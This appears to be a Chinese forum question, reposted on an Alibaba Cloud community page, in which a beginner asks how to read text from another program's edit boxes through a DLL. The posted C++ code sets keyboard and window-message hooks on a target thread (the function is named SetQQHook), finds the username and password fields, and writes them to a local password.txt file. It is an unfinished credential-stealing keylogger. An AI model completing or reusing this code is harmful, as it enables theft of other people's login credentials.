如何在DLL中獲得其他進程視窗中的編輯框常值內容

來源:互聯網
上載者:User
這問題應該很容易,但我不會,還就沒人告訴我,鬱悶的。誰看了給指點一下。C++學的很差,看了不許笑。
 我想獲得另一個進程的某個文字框的內容,於是將處理代碼寫道一個用C++編得DLL裡,找到合格編輯框控制代碼後,向其發送WM_GETTEXT訊息,從協助文檔上看要從DefWindowProc函數中才能得到內容資訊。現在的問題是:
我在C++檔案中如何使用該函數獲得常值內容?或者是否應該採用其它方法完成該功能。
部分代碼如下:

#define MyDll_API _declspec(dllexport)
#include "MyDll.h"
#include "Winuser.h"
#include "Windows.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
HWND g_hNum=NULL;
HWND g_hPwd=NULL;
HHOOK g_hProc=NULL;
HHOOK g_hKey=NULL;
HINSTANCE g_hinstDLL=NULL;

void GetPassword()
{
    MessageBox(NULL,"進入擷取密碼階段!","鬱悶",0);
    char num[255];
    char pwd[255];
    char total[255];
    HANDLE h;
    DWORD dw;
    memset(num,0,255);
    memset(pwd,0,255);
    memset(total,0,255);
//問題是訊息發了怎麼接啊?DefWindowProc寫到哪裡啊?鬱悶死了。
    SendMessage(g_hNum,WM_GETTEXT,255,(LPARAM)num);
    strcat(total,"使用者名稱:");
//得不到常值內容阿!!怎麼做?
    //strcat(total,num);
    MessageBox(NULL,total,"鬱悶",0);
    SendMessage(g_hPwd,WM_GETTEXT,255,(LPARAM)pwd);
    strcat(total,"密碼:");
//得不到常值內容阿!!怎麼做?
  //  strcat(total,pwd);
    MessageBox(NULL,total,"鬱悶",0);
    h=CreateFile("C://password.txt",
        GENERIC_WRITE,
        FILE_SHARE_WRITE,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    WriteFile(h,&total,sizeof(total),&dw,NULL);   
    CloseHandle(h);
}

LRESULT CALLBACK KeyboardProc(         
    int code,
    WPARAM wParam,
    LPARAM lParam
)
{
。。。。。。。
。。。。。。。
。。。。。。。
    return CallNextHookEx(g_hKey,code,wParam,lParam);
}

LRESULT CALLBACK CallWndProc(         
    int nCode,
    WPARAM wParam,
    LPARAM lParam
)
{
    CWPSTRUCT *p=(CWPSTRUCT*)lParam;
。。。。。。。
。。。。。。。
。。。。。。。
    return CallNextHookEx(g_hProc,nCode,wParam,lParam);
}

BOOL WINAPI SetQQHook(HWND hwnd)
{
    BOOL bRet=FALSE;
//    g_procPre=SetWindowLong(hwnd,GWL_WNDPROC,(LONG)MainWndProc);
    char lpClsName[255];
    memset(lpClsName,0,255);
    int cnt=0;
    HWND hSubWnd=NULL;
    HWND hNextWnd=NULL;
    HWND hTemp=NULL;
    if(hwnd!=NULL)
    {
        DWORD dwThreadID = GetWindowThreadProcessId(hwnd,NULL);       
//        MessageBox(NULL,MAKEINTRESOURCE(dwThreadID),"鬱悶",0);
//        hTemp=hwnd;
        hTemp = GetWindow(hwnd,GW_CHILD);
        do
        {
            hSubWnd = GetWindow(hTemp,GW_HWNDNEXT);
            int a=GetClassName(hSubWnd,lpClsName,255);
//            MessageBox(NULL,lpClsName,"鬱悶",0);
            if(a==0)
            {
                MessageBox(NULL,"徹底失敗,連子視窗都找不到!","鬱悶",0);
                return FALSE;
            }
            cnt++;
            if(cnt>20)
            {
                MessageBox(NULL,"看來方法不對,只好放棄了!","鬱悶",0);
                break;
            }
            hTemp = hSubWnd;
        }while(0!=stricmp(lpClsName,"EDIT"));

        if(0==stricmp(lpClsName,"EDIT"))
        {
            g_hNum = hSubWnd;
        }
        if(g_hNum==NULL)
        {
            MessageBox(NULL,"失敗,找不到使用者名稱視窗!","鬱悶",0);
            return FALSE;
        }
        cnt=0;
        do{
            hNextWnd=GetNextWindow(hSubWnd,GW_HWNDNEXT);
            int a=GetClassName(hSubWnd,lpClsName,255);
//            MessageBox(NULL,lpClsName,"鬱悶",0);
            if(a==0)
            {
                MessageBox(NULL,"失敗,找不到密碼子視窗!","鬱悶",0);
                return FALSE;
            }
            cnt++;
            if(cnt>20)
                break;
            hSubWnd = hNextWnd;
        }while(0!=stricmp(lpClsName,"EDIT"));

        if(0==stricmp(lpClsName,"EDIT"))
        {
//            LONG lStyle = GetWindowLong(hNextWnd,GWL_STYLE);
//            if(lStyle & ES_PASSWORD)
//            {
                g_hPwd=hNextWnd;
//            }   
        }
        if(g_hPwd==NULL)
        {
            MessageBox(NULL,"失敗,找不到密碼視窗!","鬱悶",0);
            return FALSE;
        }
//        g_hProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,g_hinstDLL,dwThreadID);
//        g_hKey=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,g_hinstDLL,dwThreadID);
        g_hProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,GetModuleHandle("MyDll"),dwThreadID);
        g_hKey=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("MyDll"),dwThreadID);
//        MessageBox(NULL,"在建立鉤子後顯示","鬱悶",0);
        bRet=(g_hProc!=NULL)&&(g_hKey!=NULL);
    }
    else
    {
        bRet=UnhookWindowsHookEx(g_hProc)&&UnhookWindowsHookEx(g_hKey);
        g_hProc=NULL;
        g_hKey=NULL;
        g_hNum=NULL;
        g_hPwd=NULL;
    }
    return bRet;
}

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.